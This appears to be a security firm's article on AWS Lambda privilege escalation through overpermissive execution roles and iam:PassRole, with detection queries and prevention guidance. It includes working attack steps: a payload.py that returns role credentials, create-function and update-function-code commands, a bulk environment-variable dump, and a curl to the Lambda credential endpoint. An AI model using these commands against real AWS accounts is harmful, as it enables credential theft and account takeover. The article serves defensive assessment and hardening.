AWS Privilege Escalation via Overpermissive Lambda Execution Roles
How a misconfigured Lambda function with iam:PassRole can hand an attacker the keys to your entire AWS account — and how to prevent it before your next cloud assessment.
AWS Lambda execution roles sit at the intersection of two problems that cloud security teams routinely underestimate: the blast radius of compromised low-privilege credentials, and the implicit trust that serverless infrastructure places in its execution context. On a significant proportion of our AWS penetration testing engagements, Lambda execution roles are either the vector for privilege escalation or the endpoint that makes escalation impactful.
This article walks through the most reliable Lambda-related privilege escalation path we encounter — the iam:PassRole + lambda:CreateFunction combination — and covers the additional vectors that make Lambda an attractive target for post-compromise cloud attackers.
Why Lambda Execution Roles Get Overpermissioned
Lambda functions need IAM permissions to interact with other AWS services. The execution role is the identity the function assumes when it runs. The problem is that execution roles are typically provisioned by developers rather than IAM specialists, and developers tend to assign permissions based on "what might this function need" rather than "what does this function actually need".
Common patterns we observe:
- Execution roles with
s3:*on*instead of scoped to specific bucket ARNs - Roles with
iam:PassRoleincluded because an earlier version of the function needed it and nobody removed it - Roles copied from a high-privilege function to a new function without review
- Roles with
AdministratorAccessattached during development that were never tightened for production
The result is that Lambda execution roles frequently have permissions far exceeding what the function's current code uses — and those excess permissions are available to anyone who can invoke the function or create a new function with that role.
The Core Attack: iam:PassRole + lambda:CreateFunction
This is the most impactful Lambda privilege escalation path, and one of the most consistently findable misconfigurations in AWS environments. The conditions required:
- The attacker's IAM identity has
lambda:CreateFunctionandlambda:InvokeFunction(orlambda:InvokeFunctionUrl) - The attacker's IAM identity has
iam:PassRole, either broadly or scoped to roles that include a high-privilege execution role - A high-privilege Lambda execution role exists in the account (one with more permissions than the attacker currently has)
The attack flow:
Step 1 — Enumerate available roles
# List all Lambda execution roles (roles with Lambda trust policy)
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.Service, `lambda.amazonaws.com`)].{Name:RoleName, ARN:Arn}'
# Check attached policies on a role of interest
aws iam list-attached-role-policies --role-name <role-name>
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1Step 2 — Create a function with the target role
Create a Lambda function whose code exfiltrates the execution context credentials or performs the privileged action directly:
# payload.py — returns the function's temporary credentials
import boto3, os, json
def handler(event, context):
creds = {
'AccessKeyId': os.environ.get('AWS_ACCESS_KEY_ID'),
'SecretAccessKey': os.environ.get('AWS_SECRET_ACCESS_KEY'),
'SessionToken': os.environ.get('AWS_SESSION_TOKEN')
}
return {'statusCode': 200, 'body': json.dumps(creds)}# Zip and deploy the function with the target execution role
zip payload.zip payload.py
aws lambda create-function \
--function-name privesc-test \
--runtime python3.12 \
--role arn:aws:iam::<account-id>:role/<high-privilege-role> \
--handler payload.handler \
--zip-file fileb://payload.zipStep 3 — Invoke and retrieve credentials
aws lambda invoke \
--function-name privesc-test \
--payload '{}' \
output.json
cat output.json
# Output: temporary credentials scoped to the execution role
# {AccessKeyId: ASIA..., SecretAccessKey: ..., SessionToken: ...}These credentials can then be used directly with the AWS CLI or SDK. If the execution role has AdministratorAccess or IAM write permissions, the attacker now has full account control.
iam:PassRole on * — included to allow passing any role to new functions during development. A high-privilege execution role existed with iam:* permissions, originally created for a now-decommissioned function. We created a function with that role, retrieved credentials, and created a new persistent admin IAM user within four minutes of identifying the misconfiguration.Updating Existing Functions
If the attacker has lambda:UpdateFunctionCode rather than lambda:CreateFunction, the path is functionally identical — they update an existing function's code to extract or use its existing execution role credentials.
aws lambda update-function-code \
--function-name existing-function \
--zip-file fileb://payload.zip
aws lambda invoke \
--function-name existing-function \
--payload '{}' \
output.jsonThis variant requires no iam:PassRole, since the function already has an execution role. The only requirement is write access to the function's code.
Environment Variable Credential Disclosure
Many Lambda functions store credentials — database passwords, API keys, third-party service tokens — in environment variables. These are not encrypted by default beyond the standard AWS encryption at rest; they are visible in plaintext to anyone with lambda:GetFunctionConfiguration or lambda:GetFunction.
# List all Lambda functions and retrieve their environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
tr '\t' '\n' | \
xargs -I{} aws lambda get-function-configuration --function-name {} \
--query '{Name:FunctionName, Env:Environment.Variables}'We regularly recover database credentials, internal API keys, and hardcoded AWS credentials (from functions that use static credentials rather than execution roles) through this technique.
IMDS Access from Lambda
Lambda functions run on EC2 infrastructure and have access to the Instance Metadata Service (IMDS) endpoint at 169.254.169.254. While Lambda functions are intended to use their execution role credentials via environment variables, the IMDS is accessible and returns the same credentials via a different path. More importantly, in SSRF scenarios within Lambda functions, the IMDS endpoint is reachable from the function's execution context.
# From within a Lambda function or via SSRF
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Returns temporary credentials for the execution roleNote that Lambda uses the ECS credential endpoint (169.254.170.2) rather than the EC2 IMDS endpoint for its own credential retrieval. SSRF attacks against Lambda functions that reach external services via HTTP should test both endpoints.
Detection: CloudTrail Events to Monitor
All of these techniques generate CloudTrail events. The challenge is volume — high-traffic accounts generate thousands of Lambda-related events daily. Effective detection requires filtering for the specific event combinations that indicate abuse:
- CreateFunction followed by InvokeFunction from the same identity within a short window — particularly if the role passed differs from that identity's own permissions
- UpdateFunctionCode on a function the principal has not previously modified
- GetFunctionConfiguration called across a large number of functions in a short period (enumeration pattern)
- AssumeRole or API calls using credentials from a Lambda execution role, sourced from an IP address or user-agent inconsistent with normal Lambda invocations
# CloudTrail Insights or Athena query for suspicious CreateFunction + Invoke pairs
SELECT userIdentity.arn, eventName, eventTime, requestParameters
FROM cloudtrail_logs
WHERE eventName IN ('CreateFunction20150331', 'InvokeFunction')
AND eventTime > current_timestamp - interval '1' hour
ORDER BY userIdentity.arn, eventTimePrevention
Permission Boundaries on execution roles
Permission Boundaries are IAM policies that cap the maximum permissions a role can have, regardless of what managed or inline policies are attached. Apply a permission boundary to all Lambda execution roles that limits their access to only the services they need. Even if the execution role has a broad policy attached, the boundary ensures that policy cannot be exceeded.
Restrict iam:PassRole with resource conditions
Never grant iam:PassRole on *. Scope it to specific role ARNs or name patterns, and use condition keys to restrict which services the role can be passed to:
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::*:role/lambda-execution-*",
"Condition": {
"StringEquals": {
"iam:PassedToService": "lambda.amazonaws.com"
}
}
}IAM Access Analyzer
Enable IAM Access Analyzer in all regions and review its findings regularly. It will flag roles with overly permissive trust policies and identify public or cross-account access that may not be intentional. For Lambda-specific analysis, use the console's policy generation feature, which analyses CloudTrail to determine what permissions a function actually used and recommends a least-privilege policy.
AWS Config Rules
Deploy Config rules to alert on Lambda functions without execution roles, execution roles with wildcard permissions, and functions that have not been invoked within a configured time window (stale functions with attached high-privilege roles are a persistent risk).
Summary
Lambda execution roles are a frequently overlooked attack surface in AWS environments. The iam:PassRole + lambda:CreateFunction combination is particularly dangerous because it converts a seemingly limited deployment permission into full account compromise — and the misconfiguration that enables it is common.
On cloud penetration testing engagements, we approach Lambda as both a target (for execution role abuse) and a source of credentials (environment variables, IMDS access). If your AWS security posture relies on the assumption that low-privilege developer IAM users cannot reach high-privilege roles, it is worth verifying whether that assumption holds against Lambda-based escalation paths.